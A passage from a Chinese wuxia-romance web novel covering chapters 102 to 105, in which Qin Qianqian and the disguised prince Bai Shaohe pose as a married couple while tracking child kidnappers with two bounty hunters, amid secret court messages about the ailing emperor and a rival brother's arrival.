因此看到她们装眷侣查案，秦千千也不奇怪。
“不知二位尊姓大名？我怎么觉得看你们很是眼熟啊。”邢历帆本就是江湖浪荡之人的形象，因此这颇为放浪的话，从他嘴里说出来，反而让人觉得很合适。
“在下白邵禾，这位是我夫人秦千千。”白邵禾一手拢在秦千千腰后，一手轻抚在自己身前，还颇为礼貌地跟她们点头示意。
秦千千饶有兴致地看着她们两个，不想错过她们一丝一毫的表情。
果然，听到这个名字后，任楚君眼睛瞪大了两分，邢历帆那不羁的笑容也僵硬在脸上。
“这……”邢历帆突然不知道该说什么。
“怎么，莫非二位真的眼熟我们？”秦千千微微上扬嘴角，笑着问她们。
任楚君扯了一下邢历帆的袖子，出来打圆场：“自然是没有的，娘子别听他胡说。就是娘子的名字，有些像我们认识的一位朋友。”
她目光如炬地盯着秦千千，想从她脸上找出一丝破绽。虽说清风酒楼的老板不会出京，可万一呢？
再加上江湖上的确有月余没有她的音信……
几番端详后，却没有发现任何问题。
秦千千笑得眉眼弯弯，抬头看了下白邵禾，“我这名字不是一抓一大把吗？楚君姐姐莫要取笑我了。走吧，白……哥哥，我们回屋休息一下。”
险些说漏了嘴，秦千千懊悔地咬了下自己的舌尖。白公子喊顺口了，这要是被任楚君跟邢历帆发现了，那不得去杜秋亮那里举报她们。
杜秋亮虽然没说，可带她们回来的许老翁却说了，要是被发现她们有撒谎，怕是要吃不了兜着走的。
邢历帆听到她对自己郎君的称呼，噗嗤一声笑了出来。秦千千忍下骂他的冲动，算了，日后还要一起合作呢。
关上房门后，秦千千才跟白邵禾交代了她们两个的身份，为了不让外面的人听到，她还是凑在白邵禾耳边说的。
白邵禾担心她踮脚太累，还专门拉她坐在床上，两个人几乎又是在车上抵肩的那种姿势。他手撑在床榻上，整个人往秦千千那边歪一些，方便她说话。
她嘀咕到一半，门突然被人推开。秦千千被惊得一哆嗦，白邵禾顺势从后搂上了她的腰。
其实他听到了脚步声，只不过他装作不知道。
门口站着的罪魁祸首——邢历帆，看着她们依旧维持着耳鬓厮磨的样子，赶忙偏头移开眼神，结结巴巴地跟她们说，外面有人找她们。
逮到了好机会，秦千千怎么能不发飙？她看了眼白邵禾，白邵禾默许地点头，秦千千这才起身朝门口走了过去。
“我先谢谢你，只不过您老下次能不能敲敲门先？不然我们以后要是做点别的事情，被你撞到了，那怎么说！”
得饶人处不饶人，是千千一贯的宗旨。
她走出门口，朝着对门的任楚君抱怨：“楚君姐姐，你管管你家这口子呀，你看看这事儿让他给弄得。”
从不吃瘪的邢历帆这下彻底哑口无言，他只能表情尴尬地跟她说对不起，任楚君也只能赶忙点头道歉。
而后他在秦千千的“友善”目送下，赶忙溜回自己房间。
“还真别说，人家小两口的确是感情挺好，我进屋吓到那姑娘，她就直接钻人怀里了。”
说着，邢历帆还一路小跑到任楚君身边，还准备给她表演一番，却被任楚君用眼神呵止了。
任楚君行走江湖这么多年，最无可奈何的就是这种无知又无畏的人。她又不能像对待恶人一样，威胁恐吓秦千千，那就只能忍了。
“我也觉得她不会是清风酒楼的老板，这么些年她酒楼都不怎么出，更别说来着千里之外的地方了。”
任楚君冷静分析，她们说话的声音很小，毕竟防人之心不可无。可外面的人根本不按常理办事，院子中顿时热闹了很多，她们似乎没空偷听屋里人说话。
秦千千看到咧着嘴进院子的王老怪，就白了他一眼。这像是丢了孩子的做派吗？于是她上前，使劲拍了一下王老怪的后背。
他痛的愁眉不展的，还哀嚎一声。秦千千朝他点头，示意他这两天都要保持这个状态，然后
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她们就在院子中聊起了找孩子的事情。
秦千千一直没让桃花花、王老怪他们分析，当初在河边小屋发现的线索，可现在在这大庭广众之下，她却问起了这种事情。
其他人都疑惑不解，白邵禾懂她这么做的用意。
在不能暴露她自己身份的前提下，想跟这种赏金猎手合作，那就只能用现有的线索引诱她们主动加入。而眼下，她们手中的确握有线索。
只不过他还不知道，王老怪和桃花花究竟能分析出什么。看秦千千势在必得的样子，应该会有关键线索吧。
“首先，他们说的那个梦隐香的确存在，不过我也是听说。那种香会麻痹人的眼睛和记忆，闻得多的话，就会缺失一段记忆，所以才叫梦隐香。”
王老怪似乎想到了什么，不确定要不要说，他纠结地咂么了一下嘴，决定不说出来。其实他想说的是，
“你有什么就说。”秦千千提醒他。
王老怪瞥了她一眼，她要是知道自己要说什么，估计三魂七魄都要被吓飞了。
“我想说的是，听冬芸的描述，那些人把这种香的分量用法，拿捏的那是出神入化了。不过无论如何，我倒是有办法破解这事儿。”
他先捡重要的说，想起自己隐去的话，王老怪就觉得自己没做错。
最熟悉梦隐香功效的，普天之下莫过于姜千秋。
只不过，姜千秋用的香要比梦隐香高级的多。云水谣，据说只要把控好份量，就会让人如同徜徉在云水间一般幻妙自在。
王老怪决定不把姜千秋牵扯进来，于是，悄然昧下了这件事。
白邵禾察觉他掩藏了什么事情，只不过秦千千不再纠结这个，转头让桃花花说说她的看法。
“从布料……”
“桃花，说结果就行，不用分析的那么详细。”桃花花刚开口，秦千千就立马打断了她。
光凭这句话，就让屋里的任楚君和邢历帆心中警铃大作。这秦千千绝非等闲之辈，行事作风如此滴水不漏，她定没有看起来那么鲁莽。
察觉到自己失言后，桃花花这才清了清嗓子重新发言。
“岭北往小了说也就四个镇子，可往大了几百里的地界，也不是咱们能找的过来的。所以，我已经知道要去哪里了。”
看着秦千千心满意足的表情，桃花花这才舒心地长出一口气，可算是给自己办对一件事儿。
屋中两个人正疑惑着，她们怎么不往下说的时候，房门突然被打开，一如刚刚邢历帆做的那样。
门口站着的不是秦千千，还能是谁。
比起邢历帆刚刚推开门的错愕，她脸上则是一副见怪不怪的样子，似乎早就想到这两个人正在支着耳朵偷听。
“两位，要加入我们吗？”
“不知秦小姐……”邢历帆还想嘴硬一番，秦千千也愿意配合他表演。
“那两位请落座，我们再细细给你们讲述一遍。”
“不用了，我们加入。”任楚君直接答应她。
102. 这一天终究还是来了
秦千千嘚嘚瑟瑟地带着她们落座，互相介绍一下姓名后，就直接了当地问她们，掌握了多少线索。
邢历帆怎么可能跟她们说实话，便只说这是他们找到第一个有关丢孩子的地方。
白邵禾心中稍许不悦，明明已经同意结伴同行了，可这两个人还是遮遮掩掩的。
“时间紧迫，所以我们没必要在这上面有所隐瞒，两位觉得呢？”
任楚君和邢历帆对视一眼后，邢历帆这才坦诚。
“其实我们也只早几位两天到这里，他们村子每家每户都闭门不出，所以这两天，我们只走访了少半丢了孩子的家。”
“那这些情况如何，有什么有用的线索吗？”秦千千追问。
“几乎没有。”任楚君皱眉摇头，越了解情况就越会发现，现在的形式很是严峻。
这里丢孩子的一共十五户，其中有孩子在村头玩被带走的，有在家门口被引诱走的。还有两户更是离谱，那些人直接进她们家里抢走了孩子。
那些孩子都跟冬芸一个年龄，人贩子似乎在特意搜寻这种年龄段的孩子。
桃花花很是疑惑，这又不是战火连天的天海朝，这里的人怎么不报官？
白邵禾颇为意外地看了她一眼，她这个天天把皇帝挂在嘴边，官员踩在脚底的人，还能想起来报官呢，真是不容易。
邢历帆双手交叉环在胸前，无奈地摇摇头：“若是都按小姐这么说，那所谓的江湖追杀令，也就没什么用了呗？报官就好了。”
官府处理的时间太长，甚至很有可能一拖再拖，这些丢了孩子的家庭，哪个能眼睁睁看着孩子去死呢？
一旁的秦千千看的开心，她原本还担心桃花花把线索，一不小心说给这两位赏金猎手听。
现在她倒是放心了，桃花花可太记仇了。
她估摸着，这一路桃花花是不会多跟她们攀谈了。
这样也好，省的自己担心了。
“既然这样，那两位不如跟我们同行吧。我们查探清楚这边的信息，就启程北上。”秦千千直接跟她们说。
秦千千也看明白，这两个人果然如江湖传闻一样：任楚君在统领地位，邢历帆则是严格遵守她的命令。
果然，任楚君点头后，邢历帆立马表示自己没问题。
“对了，二位的孩子叫什么？我一定记在心上，早日帮你们找到孩子。”秦千千杀了他们个措手不及。
纵使两个人早就商议好假冒的孩子名字，可被这么突兀地一问，还是让她们呆滞了一瞬间。
“我们女儿叫任汐月。”邢历帆说的煞有其事，跟真的一样。
秦千千郑重地点头，表示自己一定会尽力的。她让任楚君她们继续探察情况，自己去老乡家采买些干粮。
早在进村前，秦千千就已经跟许老翁商量好了，他回家以后就开始做烧饼，这东西水分少，好带上路。
不过没想到，一下午他们老两口忙活半天，还是只做了三十来个烧饼。
秦千千直接拿了一个，顺手还给冬芸分了半块，“老伯，我估计得要一百张饼，你啥时候做好了，就去那个院子告诉我。”
许老翁和老伴儿都瞪大了眼，那老太太以为她不识数，就过来劝她。
“丫头，这东西买多了你们吃不完，那就放坏了呀。我听老头说，你们也就去下一个镇子呗，那我觉得五十个饼就绝对绝对够了。”
老太太一急，就抓住了秦千千的两只胳膊，她手上还沾了面，刚好秦千千穿的是重紫色的衣服，这下两个印子相当明显。
白邵禾一向干净惯了，看到这一幕就微微蹙眉。老太太看到他的表情，立马察觉自己做错事了，就赶紧抬手帮她擦去衣袖上的白面。
结果越擦越多，秦千千失笑，安慰她这都没什么。
刹那间，她察觉老太太在她袖子里塞了东西，她没有声张，双手环抱在胸前，省的那东西掉出来。
“反正您放心，我们是绝对不会浪费这些烧饼的。”她用肩膀碰了下白邵禾，“相公，给婆婆一两银子，让她帮我们做烧饼吧。”
白邵禾原本有些不开心，可这声相公算是把他喊得心气儿都顺了。他付好钱后，那老两口都赶紧过来说使不得。
“这一两银子能买四百多张烧饼了，这我们可不能要。”
老头执意要把钱塞回去，秦千千却始终保持双手环胸的姿态，看得白邵禾有些奇怪。但他还是任由秦千千躲在自己身后，这种场面桃花花最会处理。
她打发走剩下的人，自己留下来善后。没一会儿，就出门跟她们汇合，一行人离开去见杜秋亮。
刚到杜秋亮家，秦千千就说肚子痛，要去茅房。接收到眼神暗示后，桑风雪表示她也要去。
有桑风雪在一旁守着，秦千千这才拆开纸条。
【帝危，珍重】
秦千千呼吸一滞，这一天终于还是来了吗？桑风雪看她神情不对，就问她怎么了。
这种神鬼不知送到她手上的线索，就是入阁线人送来的，桑风雪没有权利看，因此她只能干巴巴地问秦千千。
秦千千目光凝重地摇了摇头，“小事，就是酒楼生意上的事情。”
这件事，她连桑风雪都不能说。
皇帝近些年之所以器重玄阳道，那就是因为玄阳道可以为他炼丹。
近些年皇帝的身体状况越发糟糕，而今年中秋夜宴的时候，他甚至流放了自己最钟意的儿子穆轩岚。秦千千觉得他就是即将殡天，老糊涂了。
可她此行不止有穆元基的人跟着她，更有三番两次舞到眼前的穆轩岚的人。这次收到这个消息，秦千千想，各方势力也该要行动起来了。
形式越是紧张，她就越得保护好主人。这两拨人显然都是冲着姜千秋来的，而她秦千千，则是首当其冲之人。
上次那波偷袭远远不是终点。秦千千甚至有想过，自己会有被别人俘虏，严刑拷打询问真相的那一天。
她嘴角泛起一丝苦涩的笑，看得桑风雪很是揪心。秦千千不想让她担心，就将计就计，一脸痛苦地捂住肚子。<
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“坏了坏了，这老两口做的饼怕不是有毒吧？不行，我真得去个茅房。”
等她俩再度归来的时候，杜秋亮和他姐杜佳音，已经在跟白邵禾他们叙述情况了。
秦千千坐下听了两耳朵，就基本上了解的差不多，白邵禾又给她解释两句，她就全明白了。
村中现在能做的，就只有不让村中孩子再次遗失，现在也没办法派人出去找孩子，也无从找起。
不过，他们的确早早报官了。可官府过来查两次，无功而返后就再也没有什么音讯了。
太阳很快落山，秦千千叫上所有人，去她们那个院子里吃饭。杜佳音给她交代了，晚上直接把饭送到这里。
这个村子虽然不算富饶，但对于帮助她们的秦千千一行人，她们还是很慷慨的。
那些家常菜，满打满算也是凑够了六个，摆在院中的桌子上，乍一看还是很有分量的。众人边吃边聊，秦千千就问起任楚君，走访的事情。
“楚君姐，这些孩子的名单，你们有记录一份吗？”
任楚君点头，这个名单她们早早就写好了，虽说不敢保证上面的每个人都找到，但她们一定会尽力找的。
“千千，接下来什么打算，我们都听你的安排。”邢历帆下午不知道经历了什么，居然能说出这么善解人意的话。
秦千千眼神在她们两个之间来回流转，最后面带微笑地看着邢历帆：“放心，今天大家先好好休息一下，明天咱们再说。对了邢大哥，你要是有什么事情需要帮忙，尽管来问我哦。”
她尾音上扬，听起来玩味十足，最后还挑了下眉尾。
白邵禾看着她这一副鬼机灵的样子，就知道她这又是发现什么事情了。
那边的邢历帆心虚地咬了下嘴唇，心不在焉地敷衍她。任楚君有些疑惑，她很少看到他这个样子。
晚上都打道回府休息后，秦千千蹑手蹑脚地走到门后，耳朵贴着用料扎实的木门，聆听对屋的声音。
只可惜腿都站麻了，却什么都没听到。
白邵禾朝她招手，让她坐在自己身边。秦千千垂头丧气走过来，压低声音跟他说：
“你耳朵好使，快帮我听听，那边有人在说话吗？”
他摇头。
“奇了怪了，这邢历帆不会怂成这个样子吧！明明那么喜欢任楚君，不敢跟她说？”
秦千千疑惑地望向她们屋，虽然隔着墙壁什么都看不到，但她还是往那个方向看了两眼。
白邵禾低头浅笑：“你什么时候这么懂情事了？”他明明觉得秦千千在感情上，就像是个榆木疙瘩。
“我一直……”话说到一半，秦千千突然意识到，自己要装不懂。“这可能就是所谓的，当局者迷吧。其实我是瞎说的，现在这不的确没有应验。”
她算是生动演绎了，欲盖弥彰，这四个字。白邵禾不愿再为难她，就轻轻将此事揭过。
院子外。
独自坐在房顶吹风的邢历帆，决定永绝后患，是时候找秦千千聊聊了。
103. 天意弄人
“去外面聊？”秦千千站在门前，稍微有些不耐烦地问他。
这个人眼前最重要的事情不是找自己聊，而是去找任楚君啊！秦千千一脸恨铁不成钢地看着他。
邢历帆稍有犹豫地往里张望了一下，他自己放浪惯了，可这突然当着白邵禾的面叫走他夫人，总归还是不太好的。
白邵禾从床榻上起身，走到秦千千身边，“邢大哥不介意的话，就在屋里聊吧。外面天凉，她出去我也不放心。”
邢历帆连忙点头，毕竟他这次来可是有求于人的，秦千千又是特记仇的主，所以可不得谨言慎行着点。
都是敞亮人，邢历帆就不多拐弯抹角了。
“千千，我就是想来跟你说，我家夫人脸皮薄，希望你以后不要在众人面前开我们的玩笑了。”他言辞恳切，只不过对面的两个人都看出了端倪。
秦千千洞悉她们的真实关系，因而知道他这是担心任楚君察觉到他的心意。
白邵禾则是觉得他心急，以至于乱了分寸。他难道没发现两个人前后作为很是矛盾吗？
两个人又是装成夫妻，可又让她们不要调侃两个人的关系。他只能说，还好遇到的是秦千千她们，但凡遇到坏心思的人，早就揭发他们了。
“这是何意，我不是很明白。”白邵禾想要提醒他，做戏就要做全套。就像他们现在，秦千千坐在他身边，任由自己搂住她的肩膀。
邢历帆心中苦笑，她们这两个如胶似漆的眷侣，当然不懂自己的处境。
任楚君早早确定了今生要做的事情——生于江湖，亦亡于江湖。情爱这种事情，任楚君早早决定她不会沾染。因此在遇到邢历帆之前，她都是孤身来去的。
正是清楚这一点，邢历帆才不会把窗户纸捅破，因为那样他可能连陪伴她都做不到了……
这好不容易有个机会跟她扮夫妻，邢历帆说什么也要接下这个找孩子的召集令。
无他，全是私心而已。
可真实情况又不能跟她们明说，邢历帆苦于找个什么借口搪塞一下，他现在十分懊悔，自己怎么没想好借口再来找她呢？
秦千千心思微动，看他沉默这么久，就索性说出她想说出的事情。
“不如这样，我给你讲讲我和我夫君的故事吧，或许，你能从中听出一些启发。”
白邵禾低头看着她，虽然不知道她要说什么，但总觉得她说的话，或许自己也能听出些道理。
邢历帆点头，专心致志地听她说。
“其实我的情况跟你很像，但又有些不同。我当初发觉自己喜欢他，然后我就出于某些原因，并没有将真心话说出口，就这么耗费了好些时日。”
她低头浅笑一声，白邵禾目不转睛地看着她，他其实是在好奇接下来的故事发展。可这举动落在邢历帆眼里，就觉得她们真是郎才女貌，珠联璧合的一对有情人。
“结果突然有一天我就想通了，比起担心诉说心意后的结果而惶惶不可终日，我已经错过了好多跟他好好相处的机会。因此，邢大哥，你跟楚君姐姐的亲昵日子，那也是过一日少一日，可千万不能因为别人的非议，就错过寸金光阴啊。”
白邵禾和邢历帆都听出她话中的意思，邢历帆沉思片刻后，终于下定了决心。
“我知道了，大晚上的打扰你们，真是不好意思。”
虽说不知道他会怎么做，但秦千千该说的都说了，她也就不再纠结于结果。她关上门后，这才发现白邵禾也在沉思着什么。
“别想那么多了，早些休息吧，明天咱们可有的忙呢。”
寻常木床在这里也不常见，兴江村各家各户都是泥巴糊出来的炕，这种炕的优点就是足够大，因此两个人可以各睡一半，而不用局促在一张床上。
秦千千躺进被窝没多久就沉沉睡去，白邵禾则是翻身侧卧，看着她发呆。刚刚她的一番话振聋发聩，虽说一听就知道是哄骗邢历帆编出来的故事。
可说的他心里也是痒痒的，自己和她又何尝不是这样呢？能像这般在一起的日子还有多久，他自知所剩无几了。
不过白邵禾也心知肚明，他们的情况比邢历帆复杂多了。若是自己现在表明心意，等真实身份暴露后，他们两个又该何去何从呢？
彻夜冥想还没想出个所以然，他心中有个声音叫嚣着，让他把真心话说出口。
哪怕日后老死不相往来，那他还能有一段无忧的时间去纪念缅怀。偷来的欢愉，又怎么不算数？
在天光乍明之际，他终于下定了决心——跟她倾诉自己的心意。
可就在这时，几声怪异的鸟叫声传来。白邵禾知道，这是宫中来了消息，他轻手轻脚地起身，反复确认她还在睡后，这才起身出门。
元德早就候在离村不远的树林边，不过与往常不同的是，他和送信之人全都跪在地上。白邵禾拢了拢肩上的披风，面色阴沉地接过密函。
他一目十行地看完密函，怒极反笑：“宫里那些人是干什么吃的？父皇的身体怎么能越发糟糕了呢？”
元寒面无表情地如实禀报，那话听得元德在一旁都揪紧了心。
“殿下，当初您在宫中的时候，几次三番呵止玄阳道的丹道养生之术，他们行事这才谨慎了些。现如今谁都止不住他们，昨夜他们竟然明目张胆地给皇上进献两枚丹药。”
白邵禾心底杀意已决，这玄阳道不仅在宫外勾结贼人，还企图谋害皇上，自己早晚得收拾了他们。
“殿下，属下这里还有皇后娘娘的一封密函，娘娘叮嘱属下，此事连皇上都不能透露，请您过目。”
他伸手接过一支素色木钗，轻轻一拧，便看到了其中装着的一张纸条。
看清楚那寥寥几字后，白邵禾咬紧了牙关，他颇为怅惘地闭上原本杀意凛然的眼睛。
这一天终究还是来了。
可偏偏为什么这么不凑巧，刚好在他决定表明心意的这天……
母后的密函只说了一件事，让他务必快些找到姜千秋，不管用何种手段。皇上的身体已经相当虚弱，甚至可以说是病入膏肓了
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原先允诺他的五个月，也已经是个不可能的奢谈了。
让他更为忧心的是，母后与父皇她们二人伉俪情深，能让她说出这番话，看来情况是真的不容乐观了。
他再度睁眼时，已经下定了所有决心，眼神中满是志在必得的决心。
看着眼前的白邵禾，元德心头泛起一阵熟悉的感觉，这才是他往常认识的殿下。
“元寒，回去告诉父皇母后，我这边会加快进程的。”说罢，他就带着元德回去了。
他就这么，坐在昨夜邢历帆做过的椅子上，独自怅惘到天亮。
秦千千早上睁眼不见身边的白邵禾，结果一抬头看到他端坐在自己对面，一下子就被吓得不困了。她拍着心口叹气，真给她吓得够呛。
“你几时起的，怎么感觉你那么心力交瘁呢？”秦千千起身穿鞋，走到他身边给自己倒了杯水。
“无妨，昨夜做了个噩梦。”白邵禾无法自抑地感到心痛，往常他还能装出体面的样子，今天的他却连一点笑容也扯不出来。
心思机敏如秦千千，自然能看出他的异常。她弯下腰看着他的脸，苍白的几乎没有血色，秦千千拍了拍他放在桌子上的胳膊。
“趁着天早，你再去休息一会儿吧，我等晚些时候，再跟大家说咱们接下来的行程安排。”
说起这个，白邵禾的眉毛又向彼此靠拢了一分，虽然不知道他在发愁什么，秦千千还是决定好好安慰他一下。
“好吧，要不我先把接下来的安排告诉你，然后你再安心睡去？”
听着她哄小孩儿般妥协的言语，白邵禾这才露出今天的第一抹微笑。
“其实很简单，我们顺着桃花分析出来的地方，北上就好了。只不过我想把咱们的人兵分两路，一路直接杀去岭北，另一路，则是根据现在的蛛丝马迹，沿途绞杀这些恶人。”
秦千千也是出于对现状的考量，朝廷那边的情势紧张，也就意味着她没剩多少时间了。虽说这两兵分两路很有可能打草惊蛇，但她能最大限度的降低消息传播的速度。
也就是说，线人会帮她掩藏消息，但这也是线人唯一能为她做的事情了。
运气好的话，两路人会在岭北顺利汇合。若是自己这边出了事，那还有另一路人继续追捕那些贼人，总不至于因此荒废了这个事情。
从现在开始，她不管做什么事情，都要留一个后手，虽说她要做的事情也没有几件，但要做就得做好。
听她这么安排，白邵禾心中并没有觉得很奇怪，他反而很乐意看到这个结果。毕竟，他无法再眼睁睁看着她被劫持，自己却装作束手无策。
可接下来暗卫的确要劫持她，因此自己决不能跟她同行。
“我肯定要跟桃花花分开，她去北上。那你的意愿是北上，还是……”秦千千眼中闪过一丝希冀，但最终还是没有把那句“同我一起”说出口。
“我跟她一起北上吧。”白邵禾权当没有看到，她那一丝落寞的眼神，毫不犹豫地回答了她。
104. 你怎么来了？
秦千千有些不知所措，但她立马点头应和，说这样也好。
那一刻，白邵禾才发觉，自己的心已经痛到无以复加，可他还要装作云淡风轻。
直到秦千千叮嘱他好好休息，转身出门后，他这才抬手攥紧胸口的布料，肩膀向内蜷缩。他无可奈何地闭上眼睛，却又发觉自己的一切努力都是白费。
跟她同行，他做不到对她将要面临的困境袖手旁观；可不与她同行，哪怕是她现在出门去，他都会跟着心惊胆颤。
横竖都是折磨，既折磨秦千千，也折磨他。
吃早饭的时候，众人很快就分好了去向。
秦千千、任楚君、邢历帆还有王老怪她们四人同行，沿途惩治那些恶人；白邵禾、元德、桑风雪以及桃花花，再加上冬芸，则是去较为安全的岭北。
除了新加入的两个人和年纪尚小的冬芸，其他人都心知肚明，秦千千这个安排仿佛在托孤。
往常桑风雪、王老怪都是跟她抱团行事的，因为要保障她的安全。更别说，几乎跟她形影不离的白邵禾了。
可现如今却是，小队中三个武功最高强的人，都被分去了较为安全的一组。反倒是一路要厮杀的那一组，只有两个稍微能打一些的。
王老怪的打斗技术，可以说是聊胜于无，秦千千那更是除了主人送她陨阳剑之外，再无其它长处……
桑风雪和王老怪都察觉到不对劲，便找没人的时候来找她问话，可秦千千却让她们放心，还跟她们交了底，那两位赏金猎手可不是什么善茬。
她都这么说了，那她们也不好多说什么。
桑风雪发现桃花花今天很是反常，她居然没有去找过一次秦千千。可自己哪怕去了也没问出什么，桑风雪也就不勉强她去了。
过午半晌，秦千千主动找了桃花花，别人不懂桃花在想什么，她懂。
“桃花，我常跟你说的那句话，你还记得吗？”秦千千心平气和地跟她说，谁知桃花花却特别抵触。
“你平时说那么多话，我哪记得。”桃花花别过脸，不看秦千千。秦千千也不在意她这种态度，就笑着替她回答。
“是风云际会在眼前。现在就到那个时候了，桃花，这不是你任性耍脾气的时候，我要你保护好自己，带着冬芸好好活下去。”
说这句话的时候，秦千千自己都没察觉到，她的表情也有些凝重，好在桃花花转头之前，她早已敛去那些凝重。
桃花花红了眼眶，她始终不愿意相信，事情真的走到了无可挽回的这一步。
“千千，你快跟我说，你是骗我的。你要跟我一同北上对不对？或者干脆我们别找什么人贩子了，咱们直接回去好不好？或者咱们浪迹天涯，这天下这么大，怎么可能没有我们安全藏身的地方呢？”
说到最后，桃花花的嗓音已经带上了一丝哭腔，秦千千伸手揽过她的头，让她倚在自己肩头。
“你还是没有明白，是我自愿选择的这条路吗？这么些年，我也是真的累了，所以借由这个机会，那就好好歇一歇。”
两个人谈话的尾声，许老翁刚好进院，他眉开眼笑地跟秦千千交代，一百个烧饼她们已经全部做好了。秦千千替桃花花擦去脸颊的泪水，叫上元德跟她一起去拿烧饼。
两个人回来的路上，元德终究还是于心不忍地问她：“老板，你们那组我实在不放心，要不让我跟着你们去吧？”
秦千千笑着摇头，“你能为我做的最重要的事情，那就是保护好桃花和冬芸。其实要我来说，你们去岭北更危险呀，反而我们这边，收拾的都是些小鱼小虾而已。”
秦千千的诡辩，元德是服气的，这可是没理也要辩三分的人。听她这么说，元德还觉得挺有道理的。
既然她都这么说了，元德也不好强让什么。毕竟他同行也只能护她一时，被暗卫抓走后，她的生死就不是自己能左右的了。
想到这里，元德才发觉殿下一上午都没有露面。他再不懂情爱，也看得懂殿下的确是很喜欢她。
别说殿下久居深宫，身边全是循规蹈矩的无趣之人，就连元德这种常年出任务，接触各方势力的人也觉得，秦千千的精灵古怪是让人眼前一亮，然后久久难忘的类型。
因此殿下倾心于她，元德也不觉得奇怪。
可越是这么想，元德就越担心殿下。今早他下令做局抓捕秦千千的时候，那万念俱灰的表情，是元德第一次在他脸上看到。
秦千千带着他把烧饼放在她们屋中，元德这才见到了殿下。
与元德想象中的颓然不同，白邵禾神清气爽地，像个没事人一样坐在床榻边。
看到两个人进屋，白邵禾起身来迎她们，秦千千笑着跟他讲上午发生的事情，以及两拨人的分组。
仔细一看元德才才发现，殿下眼底的淤青出卖了他，怕是上午他依旧没有好好休息……
不过秦千千好像没有发现此事，她自顾自地说着事情，白邵禾也面带笑意地听着。
元德觉得很是割裂，大家都默契地绝口不提来日的溃败，装作一副岁月静好的样子。这种比歇斯底里的嘶吼，更让他心中凄然。
元德识相地离开，留下她们二人独处。元德一想到这或许是她们最后的相处机会，就不敢往下想了。
白邵禾木讷地扮演着一个体面端庄的人，可只有他自己知道，他的心早已分崩离析。
在听到秦千千给他介绍的人员安排后，他越发肯定，自己和她这辈子是没办法善终了。
她宁愿赴死，也不愿意出卖姜千秋。
可万一她活过此劫，又知道自己从头到尾都在骗她后，又怎么会跟他把手言和？
纵使这样，他还是在心中祈求，希望她能平安无恙地恨自己一辈子，而不是荒唐地死去。
“哎呀，差点忘带我的救命药！”秦千千一路小跑到床前，翻起自己带着的挎包，看到里面的白艿粉后，这才放下心来。
“救命药？这不就是止血的良
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药吗？”白邵禾顺势走到她身边，疑惑地问。
秦千千这才跟他和盘托出：“我身体比较特殊，除了这个能止住血，别的什么都没用。”
白邵禾这才明了，为什么她那么宝贝这瓶药粉，而且只要见血，她一定会擦这个止血。当初他以为她是嫌弃王老怪的药奇怪，没想到是因为这个原因吗？
“可是好端端的人，怎么会只有这个能止血？”他心头冒出一个很不好的想法。
像他这种身份尊贵的人，都要谨防各种意外的发生，而她秦千千作为江湖上首屈一指的关键人物，又怎么不会提防一些蛊虫毒害、奇淫巧术什么的呢？
难不成，她被改造过身体，以至于对所有的毒害都免疫，只不过留下了这个奇怪的病根？
秦千千的话则是佐证了他的猜测。
“这年头江湖上新起法子可多了，为了防止有人对我下手，我不出酒楼这是一个办法，另一个办法我不能告诉你，反正那些邪魔外道伤不到我就是了。”
她表情还十分惬意，似乎完全不觉得，对她做出这种事情的人是有多么丧尽天良。
“代价嘛，只有一点点。”她晃了晃手中的另一个瓶子，让白邵禾看这个，“只要吃两粒至元丹，就能维系两日，受伤也会自动愈合的常人体质。”
怪不得在涌泉镇的时候，只有她没有被毒气侵扰。
可眼下白邵禾想不了那么多，他心底有个声音在叫嚣，嘶吼着让他为秦千千鸣不平。
“可你……”
“放心，现在这个情况，我求之不得呢。”拍了拍他的肩膀，秦千千准备出门，“我要去找王老怪，晚些回来。”
她这一晚直接晚到月上三杆，白邵禾一直坐在院子中等人，看着两个人一个人背着个麻袋回来，他就迎了过去。
原来秦千千是帮着王老怪采买药材去了，这山野荒地的，完全没有能购置药材的地方。农户家中有什么，她们只要能用得上，就直接买。
秦千千累得饭都没吃，直接上床休息了。白邵禾又怎么会打扰她？纵然这是她们能好好相处的最后一晚。她赶得很急，早早跟马夫打了招呼，第二天就要出发。
比起睡觉，白邵禾又在屋中坐了一晚，彻夜未眠。今日啁啾的鸟叫声比昨天早些，他反正也没睡着，便直接起身去了村外。
跟元德碰头后，两个人都很奇怪，都想不明白暗卫那边会汇报什么事情。元德看着日渐憔悴的殿下，还是没忍住开了口。
“公子，您千万要保重身体呀。”
“嗯。”他漠然应下来，听得元德心中很不是滋味。
元德察觉到自己变了，而殿下也变了。更有人情味这事儿，放在别的场合的确是个好事，可对于现在处境来说，他很担心殿下。
他想不出殿下心中，藏着何等波涛。
看清楚来人后，白邵禾不悦地蹙眉，这山高路远的，穆元基怎么过来了？
“臣弟元基，拜见兄长。”
105. 终成弃子
看着他身后乌泱泱跟了十几号人，白邵禾耐心告罄，走到他面前居高临下地看着他。
“那你正好给我解释解释，你一路派人跟着我们，是何用意？”他表情阴翳地发问。
穆元基一抬头，却是满眼委屈，“三哥，那都是父皇让我干的事情，真的！”
说着，他还想去攀扯白邵禾，白邵禾后退一步，没让他得逞。他身上还沾染了只有天家才用得起的熏香，白邵禾不愿意让那味道沾上自己的衣襟。
虽说明天，他只能跟秦千千相处半晌，但丝毫破绽都不能有。
看着他这般嫌弃自己，穆元基也有些挂脸，自己千里迢迢来这里，他还让自己一直跪在地上，他穆轩岚可真行！
“带上你的人立马滚。”
白邵禾转身就准备走，穆元基在属下的搀扶下起身，屏退身后的侍卫后，他不紧不慢地喊住白邵禾。
“三哥，这次真是父皇让我来的，只不过倒是我主动跟他提起的。毕竟万一我不来，你到时候舍不得收拾秦千千，那可怎么办？”
白邵禾最厌恶别人威胁他，此时此刻，穆元基说这话就是在找死。
收到预料之中的死亡凝视，穆元基这次则是没在怕，至少装出他不怕的样子。他从怀中掏出一封金漆封印的密函，递给元德。
毕竟，他还没有勇气挑衅穆轩岚。
“给我皇兄看看，这是父皇让我过来协查的凭证。皇兄不给我面子不要紧，父皇的命令你不会不听吧？”
看到他这种狐假虎威的表情，白邵禾厌恶地睨了他一眼，沉声开口：“元德，把密函烧了，赶他走。”
穆元基眼睁睁看着元德烧了那封信，他气的上去揪住元德的领子，要挟他这是想死了。
有白邵禾在这里，就还轮不到他穆元基斥责自己的人。白邵禾转身朝他走去，穆元基迫于压力松了手，可他后退两步后再不愿让步。
“我只跟你说一遍，我的计划你不准插手，你要是敢动她一丝一毫，我会让你百倍千倍地还回来。上次放了楚风，这次我就还有本事放了她。”
楚风，就是那个他含在嘴里怕化了、捧在手中怕碎了，天天囚禁在家里的杀手。
白邵禾言语中的威胁不言而喻，而他清楚穆元基的性格。他敢大大方方离京，那就说明，他肯定是把楚风一同带来了的。
